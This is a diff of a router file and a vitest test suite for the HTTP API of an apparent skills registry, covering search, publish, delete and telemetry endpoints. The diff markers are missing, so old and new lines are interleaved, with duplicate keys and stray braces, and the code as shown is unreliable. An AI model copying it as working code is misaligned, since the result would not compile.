method: "GET",
handler: packagesGetRouterV1Http,
});
http.route({
pathPrefix: `${ApiRoutes.plugins}/`,
method: "GET",
handler: pluginsGetRouterV1Http,
});
})
http.route({
path: ApiRoutes.skills,
method: "POST",
method: 'POST',
handler: publishSkillV1Http,
});
http.route({
path: ApiRoutes.packages,
method: "POST",
handler: publishPackageV1Http,
});
http.route({
path: ApiRoutes.publishTokenMint,
method: "POST",
handler: mintPublishTokenV1Http,
});
http.route({
pathPrefix: `${ApiRoutes.packages}/`,
method: "POST",
handler: packagesPostRouterV1Http,
});
http.route({
pathPrefix: `${ApiRoutes.packages}/`,
method: "DELETE",
handler: packagesDeleteRouterV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.skills}/`,
method: "POST",
method: 'POST',
handler: skillsPostRouterV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.skills}/`,
method: "DELETE",
method: 'DELETE',
handler: skillsDeleteRouterV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.stars}/`,
method: "POST",
method: 'POST',
handler: starsPostRouterV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.stars}/`,
method: "DELETE",
method: 'DELETE',
handler: starsDeleteRouterV1Http,
});
http.route({
pathPrefix: `${ApiRoutes.transfers}/`,
method: "GET",
handler: transfersGetRouterV1Http,
});
})
http.route({
path: ApiRoutes.whoami,
method: "GET",
method: 'GET',
handler: whoamiV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.users}/`,
method: "POST",
method: 'POST',
handler: usersPostRouterV1Http,
});
})
http.route({
path: ApiRoutes.users,
method: "GET",
method: 'GET',
handler: usersListV1Http,
});
})
http.route({
path: ApiRoutes.souls,
method: "GET",
method: 'GET',
handler: listSoulsV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.souls}/`,
method: "GET",
method: 'GET',
handler: soulsGetRouterV1Http,
});
})
http.route({
path: ApiRoutes.souls,
method: "POST",
method: 'POST',
handler: publishSoulV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.souls}/`,
method: "POST",
method: 'POST',
handler: soulsPostRouterV1Http,
});
})
http.route({
pathPrefix: `${ApiRoutes.souls}/`,
method: "DELETE",
method: 'DELETE',
handler: soulsDeleteRouterV1Http,
});
})
http.route({
pathPrefix: "/api/",
method: "OPTIONS",
pathPrefix: '/api/',
method: 'OPTIONS',
handler: preflightHandler,
});
})
// TODO: remove legacy /api routes after deprecation window.
http.route({
path: LegacyApiRoutes.download,
method: "GET",
method: 'GET',
handler: downloadZip,
});
})
http.route({
path: LegacyApiRoutes.search,
method: "GET",
method: 'GET',
handler: searchSkillsHttp,
});
})
http.route({
path: LegacyApiRoutes.skill,
method: "GET",
method: 'GET',
handler: getSkillHttp,
});
})
http.route({
path: LegacyApiRoutes.skillResolve,
method: "GET",
method: 'GET',
handler: resolveSkillVersionHttp,
});
})
http.route({
path: LegacyApiRoutes.cliWhoami,
method: "GET",
method: 'GET',
handler: cliWhoamiHttp,
});
})
http.route({
path: LegacyApiRoutes.cliUploadUrl,
method: "POST",
method: 'POST',
handler: cliUploadUrlHttp,
});
})
http.route({
path: LegacyApiRoutes.cliPublish,
method: "POST",
method: 'POST',
handler: cliPublishHttp,
});
})
http.route({
path: LegacyApiRoutes.cliTelemetrySync,
method: "POST",
method: 'POST',
handler: cliTelemetrySyncHttp,
});
})
http.route({
path: LegacyApiRoutes.cliSkillDelete,
method: "POST",
method: 'POST',
handler: cliSkillDeleteHttp,
});
})
http.route({
path: LegacyApiRoutes.cliSkillUndelete,
method: "POST",
method: 'POST',
handler: cliSkillUndeleteHttp,
});
})
export default http;
export default http
+317 -409
View File
@@ -1,154 +1,109 @@
/* @vitest-environment node */
import { afterEach, describe, expect, it, vi } from "vitest";
import { afterEach, describe, expect, it, vi } from 'vitest'
vi.mock("./lib/apiTokenAuth", () => ({
vi.mock('./lib/apiTokenAuth', () => ({
requireApiTokenUser: vi.fn(),
}));
}))
vi.mock("./skills", () => ({
vi.mock('./skills', () => ({
publishVersionForUser: vi.fn(),
}));
}))
const { requireApiTokenUser } = await import("./lib/apiTokenAuth");
const { publishVersionForUser } = await import("./skills");
const { __handlers } = await import("./httpApi");
const { hashSkillFiles } = await import("./lib/skills");
const { requireApiTokenUser } = await import('./lib/apiTokenAuth')
const { publishVersionForUser } = await import('./skills')
const { __handlers } = await import('./httpApi')
const { hashSkillFiles } = await import('./lib/skills')
function makeCtx(partial: Record<string, unknown>) {
return partial as unknown as import("./_generated/server").ActionCtx;
return partial as unknown as import('./_generated/server').ActionCtx
}
describe("httpApi handlers", () => {
describe('httpApi handlers', () => {
afterEach(() => {
vi.mocked(requireApiTokenUser).mockReset();
vi.mocked(publishVersionForUser).mockReset();
});
vi.mocked(requireApiTokenUser).mockReset()
vi.mocked(publishVersionForUser).mockReset()
})
it("searchSkillsHttp returns empty results for empty query", async () => {
it('searchSkillsHttp returns empty results for empty query', async () => {
const response = await __handlers.searchSkillsHandler(
makeCtx({ runAction: vi.fn() }),
new Request("https://example.com/api/search?q=%20%20"),
);
expect(response.status).toBe(200);
expect(await response.json()).toEqual({ results: [] });
});
new Request('https://example.com/api/search?q=%20%20'),
)
expect(response.status).toBe(200)
expect(await response.json()).toEqual({ results: [] })
})
it("searchSkillsHttp forwards args (approvedOnly alias)", async () => {
it('searchSkillsHttp forwards args (approvedOnly alias)', async () => {
const runAction = vi.fn().mockResolvedValue([
{
score: 1,
skill: { slug: "a", displayName: "A", summary: null, updatedAt: 1 },
skill: { slug: 'a', displayName: 'A', summary: null, updatedAt: 1 },
version: null,
},
]);
])
const response = await __handlers.searchSkillsHandler(
makeCtx({ runAction }),
new Request("https://example.com/api/search?q=test&approvedOnly=true&limit=5"),
);
new Request('https://example.com/api/search?q=test&approvedOnly=true&limit=5'),
)
expect(runAction).toHaveBeenCalledWith(expect.anything(), {
query: "test",
query: 'test',
limit: 5,
highlightedOnly: true,
nonSuspiciousOnly: undefined,
});
expect(response.status).toBe(200);
const json = await response.json();
expect(json.results[0].slug).toBe("a");
});
})
expect(response.status).toBe(200)
const json = await response.json()
expect(json.results[0].slug).toBe('a')
})
it("searchSkillsHttp forwards highlightedOnly", async () => {
const runAction = vi.fn().mockResolvedValue([]);
it('searchSkillsHttp forwards highlightedOnly', async () => {
const runAction = vi.fn().mockResolvedValue([])
await __handlers.searchSkillsHandler(
makeCtx({ runAction }),
new Request("https://example.com/api/search?q=test&highlightedOnly=true"),
);
new Request('https://example.com/api/search?q=test&highlightedOnly=true'),
)
expect(runAction).toHaveBeenCalledWith(expect.anything(), {
query: "test",
query: 'test',
limit: undefined,
highlightedOnly: true,
nonSuspiciousOnly: undefined,
});
});
})
})
it("searchSkillsHttp omits highlightedOnly when approvedOnly is false", async () => {
const runAction = vi.fn().mockResolvedValue([]);
it('searchSkillsHttp omits highlightedOnly when approvedOnly is false', async () => {
const runAction = vi.fn().mockResolvedValue([])
await __handlers.searchSkillsHandler(
makeCtx({ runAction }),
new Request("https://example.com/api/search?q=test&approvedOnly=false"),
);
new Request('https://example.com/api/search?q=test&approvedOnly=false'),
)
expect(runAction).toHaveBeenCalledWith(expect.anything(), {
query: "test",
query: 'test',
limit: undefined,
highlightedOnly: undefined,
nonSuspiciousOnly: undefined,
});
});
})
})
it("searchSkillsHttp forwards nonSuspiciousOnly", async () => {
const runAction = vi.fn().mockResolvedValue([]);
await __handlers.searchSkillsHandler(
makeCtx({ runAction }),
new Request("https://example.com/api/search?q=test&nonSuspiciousOnly=1"),
);
expect(runAction).toHaveBeenCalledWith(expect.anything(), {
query: "test",
limit: undefined,
highlightedOnly: undefined,
nonSuspiciousOnly: true,
});
});
it("searchSkillsHttp forwards legacy nonSuspicious alias", async () => {
const runAction = vi.fn().mockResolvedValue([]);
await __handlers.searchSkillsHandler(
makeCtx({ runAction }),
new Request("https://example.com/api/search?q=test&nonSuspicious=1"),
);
expect(runAction).toHaveBeenCalledWith(expect.anything(), {
query: "test",
limit: undefined,
highlightedOnly: undefined,
nonSuspiciousOnly: true,
});
});
it("searchSkillsHttp prefers canonical nonSuspiciousOnly over legacy alias", async () => {
const runAction = vi.fn().mockResolvedValue([]);
await __handlers.searchSkillsHandler(
makeCtx({ runAction }),
new Request("https://example.com/api/search?q=test&nonSuspiciousOnly=false&nonSuspicious=1"),
);
expect(runAction).toHaveBeenCalledWith(expect.anything(), {
query: "test",
limit: undefined,
highlightedOnly: undefined,
nonSuspiciousOnly: undefined,
});
});
it("getSkillHttp validates slug", async () => {
it('getSkillHttp validates slug', async () => {
const response = await __handlers.getSkillHandler(
makeCtx({ runQuery: vi.fn() }),
new Request("https://example.com/api/skill"),
);
expect(response.status).toBe(400);
});
new Request('https://example.com/api/skill'),
)
expect(response.status).toBe(400)
})
it("getSkillHttp returns 404 when missing", async () => {
const runQuery = vi.fn().mockResolvedValue(null);
it('getSkillHttp returns 404 when missing', async () => {
const runQuery = vi.fn().mockResolvedValue(null)
const response = await __handlers.getSkillHandler(
makeCtx({ runQuery }),
new Request("https://example.com/api/skill?slug=missing"),
);
expect(response.status).toBe(404);
});
new Request('https://example.com/api/skill?slug=missing'),
)
expect(response.status).toBe(404)
})
it("getSkillHttp returns payload with owner and latestVersion", async () => {
it('getSkillHttp returns payload with owner and latestVersion', async () => {
const runQuery = vi.fn().mockResolvedValue({
skill: {
slug: "demo",
displayName: "Demo",
summary: "x",
slug: 'demo',
displayName: 'Demo',
summary: 'x',
tags: {},
stats: {
downloads: 0,
@@ -161,25 +116,25 @@ describe("httpApi handlers", () => {
createdAt: 1,
updatedAt: 2,
},
latestVersion: { version: "1.0.0", createdAt: 3, changelog: "c" },
owner: { handle: "p", displayName: "Peter", image: null },
});
latestVersion: { version: '1.0.0', createdAt: 3, changelog: 'c' },
owner: { handle: 'p', displayName: 'Peter', image: null },
})
const response = await __handlers.getSkillHandler(
makeCtx({ runQuery }),
new Request("https://example.com/api/skill?slug=demo"),
);
expect(response.status).toBe(200);
const json = await response.json();
expect(json.skill.slug).toBe("demo");
expect(json.latestVersion.version).toBe("1.0.0");
expect(json.owner.handle).toBe("p");
});
new Request('https://example.com/api/skill?slug=demo'),
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.skill.slug).toBe('demo')
expect(json.latestVersion.version).toBe('1.0.0')
expect(json.owner.handle).toBe('p')
})
it("getSkillHttp returns payload with null owner/latestVersion", async () => {
it('getSkillHttp returns payload with null owner/latestVersion', async () => {
const runQuery = vi.fn().mockResolvedValue({
skill: {
slug: "demo",
displayName: "Demo",
slug: 'demo',
displayName: 'Demo',
summary: null,
tags: {},
stats: {},
@@ -188,393 +143,346 @@ describe("httpApi handlers", () => {
},
latestVersion: null,
owner: null,
});
})
const response = await __handlers.getSkillHandler(
makeCtx({ runQuery }),
new Request("https://example.com/api/skill?slug=demo"),
);
expect(response.status).toBe(200);
const json = await response.json();
expect(json.latestVersion).toBeNull();
expect(json.owner).toBeNull();
});
new Request('https://example.com/api/skill?slug=demo'),
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.latestVersion).toBeNull()
expect(json.owner).toBeNull()
})
it("resolveSkillVersionHttp validates hash", async () => {
it('resolveSkillVersionHttp validates hash', async () => {
const response = await __handlers.resolveSkillVersionHandler(
makeCtx({ runQuery: vi.fn() }),
new Request("https://example.com/api/skill/resolve?slug=demo&hash=bad"),
);
expect(response.status).toBe(400);
});
new Request('https://example.com/api/skill/resolve?slug=demo&hash=bad'),
)
expect(response.status).toBe(400)
})
it("resolveSkillVersionHttp returns 404 when missing", async () => {
const runQuery = vi.fn().mockResolvedValue(null);
it('resolveSkillVersionHttp returns 404 when missing', async () => {
const runQuery = vi.fn().mockResolvedValue(null)
const response = await __handlers.resolveSkillVersionHandler(
makeCtx({ runQuery }),
new Request(
"https://example.com/api/skill/resolve?slug=missing&hash=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
'https://example.com/api/skill/resolve?slug=missing&hash=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
),
);
expect(response.status).toBe(404);
});
)
expect(response.status).toBe(404)
})
it("resolveSkillVersionHttp returns match and latestVersion", async () => {
const matchHash = await hashSkillFiles([{ path: "SKILL.md", sha256: "abc" }]);
it('resolveSkillVersionHttp returns match and latestVersion', async () => {
const matchHash = await hashSkillFiles([{ path: 'SKILL.md', sha256: 'abc' }])
const runQuery = vi.fn().mockResolvedValueOnce({
match: { version: "1.0.0" },
latestVersion: { version: "2.0.0" },
});
match: { version: '1.0.0' },
latestVersion: { version: '2.0.0' },
})
const response = await __handlers.resolveSkillVersionHandler(
makeCtx({ runQuery }),
new Request(`https://example.com/api/skill/resolve?slug=demo&hash=${matchHash}`),
);
expect(response.status).toBe(200);
const json = await response.json();
expect(json.match.version).toBe("1.0.0");
expect(json.latestVersion.version).toBe("2.0.0");
});
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.match.version).toBe('1.0.0')
expect(json.latestVersion.version).toBe('2.0.0')
})
it("cliWhoamiHttp returns 401 on auth failure", async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error("Unauthorized"));
it('cliWhoamiHttp returns 401 on auth failure', async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error('Unauthorized'))
const response = await __handlers.cliWhoamiHandler(
makeCtx({}),
new Request("https://x/api/cli/whoami"),
);
expect(response.status).toBe(401);
});
new Request('https://x/api/cli/whoami'),
)
expect(response.status).toBe(401)
})
it("cliWhoamiHttp returns user payload on success", async () => {
it('cliWhoamiHttp returns user payload on success', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({
user: { handle: "p", displayName: "Peter", image: "x" },
} as never);
user: { handle: 'p', displayName: 'Peter', image: 'x' },
} as never)
const response = await __handlers.cliWhoamiHandler(
makeCtx({}),
new Request("https://x/api/cli/whoami"),
);
expect(response.status).toBe(200);
const json = await response.json();
expect(json.user.handle).toBe("p");
});
new Request('https://x/api/cli/whoami'),
)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.user.handle).toBe('p')
})
it("cliTelemetrySyncHttp forwards roots and returns ok", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "users:1" } as never);
const runMutation = vi.fn().mockResolvedValue(null);
it('cliTelemetrySyncHttp forwards roots and returns ok', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'users:1' } as never)
const runMutation = vi.fn().mockResolvedValue(null)
const response = await __handlers.cliTelemetrySyncHandler(
makeCtx({ runMutation }),
new Request("https://x/api/cli/telemetry/sync", {
method: "POST",
headers: { "Content-Type": "application/json" },
new Request('https://x/api/cli/telemetry/sync', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
roots: [
{
rootId: "abc",
label: "~/skills",
skills: [{ slug: "weather", version: null }],
rootId: 'abc',
label: '~/skills',
skills: [{ slug: 'weather', version: null }],
},
],
}),
}),
);
expect(response.status).toBe(200);
expect(await response.json()).toEqual({ ok: true });
expect(runMutation).toHaveBeenCalledTimes(1);
});
)
expect(response.status).toBe(200)
expect(await response.json()).toEqual({ ok: true })
expect(runMutation).toHaveBeenCalledTimes(1)
})
it("cliTelemetrySyncHttp returns 400 on invalid payload", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "users:1" } as never);
it('cliTelemetrySyncHttp returns 400 on invalid payload', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'users:1' } as never)
const response = await __handlers.cliTelemetrySyncHandler(
makeCtx({ runMutation: vi.fn() }),
new Request("https://x/api/cli/telemetry/sync", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ roots: "nope" }),
new Request('https://x/api/cli/telemetry/sync', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ roots: 'nope' }),
}),
);
expect(response.status).toBe(400);
});
)
expect(response.status).toBe(400)
})
it("cliTelemetrySyncHttp forwards skill versions when provided", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "users:1" } as never);
const runMutation = vi.fn().mockResolvedValue(null);
it('cliTelemetrySyncHttp forwards skill versions when provided', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'users:1' } as never)
const runMutation = vi.fn().mockResolvedValue(null)
await __handlers.cliTelemetrySyncHandler(
makeCtx({ runMutation }),
new Request("https://x/api/cli/telemetry/sync", {
method: "POST",
headers: { "Content-Type": "application/json" },
new Request('https://x/api/cli/telemetry/sync', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
roots: [
{
rootId: "abc",
label: "~/skills",
skills: [{ slug: "weather", version: "1.0.0" }],
rootId: 'abc',
label: '~/skills',
skills: [{ slug: 'weather', version: '1.0.0' }],
},
],
}),
}),
);
)
expect(runMutation).toHaveBeenCalledWith(expect.anything(), {
userId: "users:1",
userId: 'users:1',
roots: [
{ rootId: "abc", label: "~/skills", skills: [{ slug: "weather", version: "1.0.0" }] },
{ rootId: 'abc', label: '~/skills', skills: [{ slug: 'weather', version: '1.0.0' }] },
],
});
});
})
})
it("cliTelemetrySyncHttp returns 400 on invalid json", async () => {
const request = new Request("https://x/api/cli/telemetry/sync", { method: "POST", body: "{" });
const response = await __handlers.cliTelemetrySyncHandler(makeCtx({}), request);
expect(response.status).toBe(400);
});
it('cliTelemetrySyncHttp returns 400 on invalid json', async () => {
const request = new Request('https://x/api/cli/telemetry/sync', { method: 'POST', body: '{' })
const response = await __handlers.cliTelemetrySyncHandler(makeCtx({}), request)
expect(response.status).toBe(400)
})
it("cliTelemetrySyncHttp returns 401 when unauthorized", async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error("Unauthorized"));
it('cliTelemetrySyncHttp returns 401 when unauthorized', async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error('Unauthorized'))
const response = await __handlers.cliTelemetrySyncHandler(
makeCtx({}),
new Request("https://x/api/cli/telemetry/sync", {
method: "POST",
headers: { "Content-Type": "application/json" },
new Request('https://x/api/cli/telemetry/sync', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ roots: [] }),
}),
);
expect(response.status).toBe(401);
});
)
expect(response.status).toBe(401)
})
it("cliUploadUrlHttp returns uploadUrl", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const runMutation = vi.fn().mockResolvedValue("https://upload.local");
it('cliUploadUrlHttp returns uploadUrl', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
const runMutation = vi.fn().mockResolvedValue('https://upload.local')
const response = await __handlers.cliUploadUrlHandler(
makeCtx({ runMutation }),
new Request("https://x/api/cli/upload-url", { method: "POST" }),
);
expect(response.status).toBe(200);
expect(await response.json()).toEqual({ uploadUrl: "https://upload.local" });
});
new Request('https://x/api/cli/upload-url', { method: 'POST' }),
)
expect(response.status).toBe(200)
expect(await response.json()).toEqual({ uploadUrl: 'https://upload.local' })
})
it("cliUploadUrlHttp returns 401 when unauthorized", async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error("Unauthorized"));
it('cliUploadUrlHttp returns 401 when unauthorized', async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error('Unauthorized'))
const response = await __handlers.cliUploadUrlHandler(
makeCtx({}),
new Request("https://x/api/cli/upload-url", { method: "POST" }),
);
expect(response.status).toBe(401);
});
new Request('https://x/api/cli/upload-url', { method: 'POST' }),
)
expect(response.status).toBe(401)
})
it("cliPublishHttp returns 400 on invalid json", async () => {
const request = new Request("https://x/api/cli/publish", { method: "POST", body: "{" });
const response = await __handlers.cliPublishHandler(makeCtx({}), request);
expect(response.status).toBe(400);
});
it('cliPublishHttp returns 400 on invalid json', async () => {
const request = new Request('https://x/api/cli/publish', { method: 'POST', body: '{' })
const response = await __handlers.cliPublishHandler(makeCtx({}), request)
expect(response.status).toBe(400)
})
it("cliPublishHttp returns 401 when unauthorized", async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error("Unauthorized"));
const request = new Request("https://x/api/cli/publish", {
method: "POST",
headers: { "Content-Type": "application/json" },
it('cliPublishHttp returns 401 when unauthorized', async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error('Unauthorized'))
const request = new Request('https://x/api/cli/publish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({}),
});
const response = await __handlers.cliPublishHandler(makeCtx({}), request);
expect(response.status).toBe(401);
});
})
const response = await __handlers.cliPublishHandler(makeCtx({}), request)
expect(response.status).toBe(401)
})
it("cliPublishHttp returns 400 on publish error", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
vi.mocked(publishVersionForUser).mockRejectedValueOnce(new Error("Nope"));
const request = new Request("https://x/api/cli/publish", {
method: "POST",
headers: { "Content-Type": "application/json" },
it('cliPublishHttp returns 400 on publish error', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
vi.mocked(publishVersionForUser).mockRejectedValueOnce(new Error('Nope'))
const request = new Request('https://x/api/cli/publish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
slug: "cool-skill",
displayName: "Cool Skill",
version: "1.2.3",
changelog: "c",
acceptLicenseTerms: true,
files: [{ path: "SKILL.md", size: 1, storageId: "id", sha256: "a" }],
slug: 'cool-skill',
displayName: 'Cool Skill',
version: '1.2.3',
changelog: 'c',
files: [{ path: 'SKILL.md', size: 1, storageId: 'id', sha256: 'a' }],
}),
});
const response = await __handlers.cliPublishHandler(makeCtx({}), request);
expect(response.status).toBe(400);
});
})
const response = await __handlers.cliPublishHandler(makeCtx({}), request)
expect(response.status).toBe(400)
})
it("cliPublishHttp returns 200 on success", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
it('cliPublishHttp returns 200 on success', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
vi.mocked(publishVersionForUser).mockResolvedValueOnce({
skillId: "s",
versionId: "v",
embeddingId: "e",
} as never);
const request = new Request("https://x/api/cli/publish", {
method: "POST",
headers: { "Content-Type": "application/json" },
skillId: 's',
versionId: 'v',
embeddingId: 'e',
} as never)
const request = new Request('https://x/api/cli/publish', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
slug: "cool-skill",
displayName: "Cool Skill",
version: "1.2.3",
changelog: "c",
acceptLicenseTerms: true,
files: [{ path: "SKILL.md", size: 1, storageId: "id", sha256: "a" }],
slug: 'cool-skill',
displayName: 'Cool Skill',
version: '1.2.3',
changelog: 'c',
files: [{ path: 'SKILL.md', size: 1, storageId: 'id', sha256: 'a' }],
}),
});
const response = await __handlers.cliPublishHandler(makeCtx({}), request);
expect(response.status).toBe(200);
const json = await response.json();
expect(json.ok).toBe(true);
expect(json.skillId).toBe("s");
});
})
const response = await __handlers.cliPublishHandler(makeCtx({}), request)
expect(response.status).toBe(200)
const json = await response.json()
expect(json.ok).toBe(true)
expect(json.skillId).toBe('s')
})
it("cliPublishHttp accepts legacy clients that omit license terms", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
vi.mocked(publishVersionForUser).mockResolvedValueOnce({
skillId: "s",
versionId: "v",
embeddingId: "e",
} as never);
const request = new Request("https://x/api/cli/publish", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
slug: "cool-skill",
displayName: "Cool Skill",
version: "1.2.3",
changelog: "c",
files: [{ path: "SKILL.md", size: 1, storageId: "id", sha256: "a" }],
}),
});
const response = await __handlers.cliPublishHandler(makeCtx({}), request);
expect(response.status).toBe(200);
});
it('cliSkillDeleteHandler returns 401 when unauthorized', async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error('Unauthorized'))
const request = new Request('https://x/api/cli/skill/delete', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ slug: 'demo' }),
})
const response = await __handlers.cliSkillDeleteHandler(makeCtx({}), request, true)
expect(response.status).toBe(401)
})
it("cliPublishHttp rejects explicit license refusal", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const request = new Request("https://x/api/cli/publish", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
slug: "cool-skill",
displayName: "Cool Skill",
version: "1.2.3",
changelog: "c",
acceptLicenseTerms: false,
files: [{ path: "SKILL.md", size: 1, storageId: "id", sha256: "a" }],
}),
});
const response = await __handlers.cliPublishHandler(makeCtx({}), request);
expect(response.status).toBe(400);
expect(await response.text()).toMatch(/license terms must be accepted/i);
});
it("cliSkillDeleteHandler returns 401 when unauthorized", async () => {
vi.mocked(requireApiTokenUser).mockRejectedValueOnce(new Error("Unauthorized"));
const request = new Request("https://x/api/cli/skill/delete", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ slug: "demo" }),
});
const response = await __handlers.cliSkillDeleteHandler(makeCtx({}), request, true);
expect(response.status).toBe(401);
});
it("cliSkillDeleteHandler calls mutation and returns ok", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const runMutation = vi.fn().mockResolvedValue({ ok: true });
const request = new Request("https://x/api/cli/skill/delete", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ slug: "demo" }),
});
const response = await __handlers.cliSkillDeleteHandler(
makeCtx({ runMutation }),
request,
true,
);
expect(response.status).toBe(200);
it('cliSkillDeleteHandler calls mutation and returns ok', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
const runMutation = vi.fn().mockResolvedValue({ ok: true })
const request = new Request('https://x/api/cli/skill/delete', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ slug: 'demo' }),
})
const response = await __handlers.cliSkillDeleteHandler(makeCtx({ runMutation }), request, true)
expect(response.status).toBe(200)
expect(runMutation).toHaveBeenCalledWith(expect.anything(), {
userId: "user1",
slug: "demo",
userId: 'user1',
slug: 'demo',
deleted: true,
});
expect(await response.json()).toEqual({ ok: true });
});
})
expect(await response.json()).toEqual({ ok: true })
})
it("cliSkillDeleteHandler supports undelete", async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const runMutation = vi.fn().mockResolvedValue({ ok: true });
const request = new Request("https://x/api/cli/skill/undelete", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ slug: "demo" }),
});
it('cliSkillDeleteHandler supports undelete', async () => {
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
const runMutation = vi.fn().mockResolvedValue({ ok: true })
const request = new Request('https://x/api/cli/skill/undelete', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ slug: 'demo' }),
})
const response = await __handlers.cliSkillDeleteHandler(
makeCtx({ runMutation }),
request,
false,
);
expect(response.status).toBe(200);
)
expect(response.status).toBe(200)
expect(runMutation).toHaveBeenCalledWith(expect.anything(), {
userId: "user1",
slug: "demo",
userId: 'user1',
slug: 'demo',
deleted: false,
});
});
})
})
it("cliSkillUndeleteHttp calls delete handler with deleted=false", async () => {
const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const runMutation = vi.fn().mockResolvedValue({ ok: true });
it('cliSkillUndeleteHttp calls delete handler with deleted=false', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {})
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
const runMutation = vi.fn().mockResolvedValue({ ok: true })
const response = await __handlers.cliSkillDeleteHandler(
makeCtx({ runMutation }),
new Request("https://x/api/cli/skill/undelete", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ slug: "demo" }),
new Request('https://x/api/cli/skill/undelete', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ slug: 'demo' }),
}),
false,
);
expect(response.status).toBe(200);
)
expect(response.status).toBe(200)
expect(runMutation).toHaveBeenCalledWith(expect.anything(), {
userId: "user1",
slug: "demo",
userId: 'user1',
slug: 'demo',
deleted: false,
});
warnSpy.mockRestore();
});
})
warnSpy.mockRestore()
})
it("cliSkillDeleteHttp calls delete handler with deleted=true", async () => {
const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: "user1" } as never);
const runMutation = vi.fn().mockResolvedValue({ ok: true });
it('cliSkillDeleteHttp calls delete handler with deleted=true', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {})
vi.mocked(requireApiTokenUser).mockResolvedValueOnce({ userId: 'user1' } as never)
const runMutation = vi.fn().mockResolvedValue({ ok: true })
const response = await __handlers.cliSkillDeleteHandler(
makeCtx({ runMutation }),
new Request("https://x/api/cli/skill/delete", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ slug: "demo" }),
new Request('https://x/api/cli/skill/delete', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ slug: 'demo' }),
}),
true,
);
expect(response.status).toBe(200);
)
expect(response.status).toBe(200)
expect(runMutation).toHaveBeenCalledWith(expect.anything(), {
userId: "user1",
slug: "demo",
userId: 'user1',
slug: 'demo',
deleted: true,
});
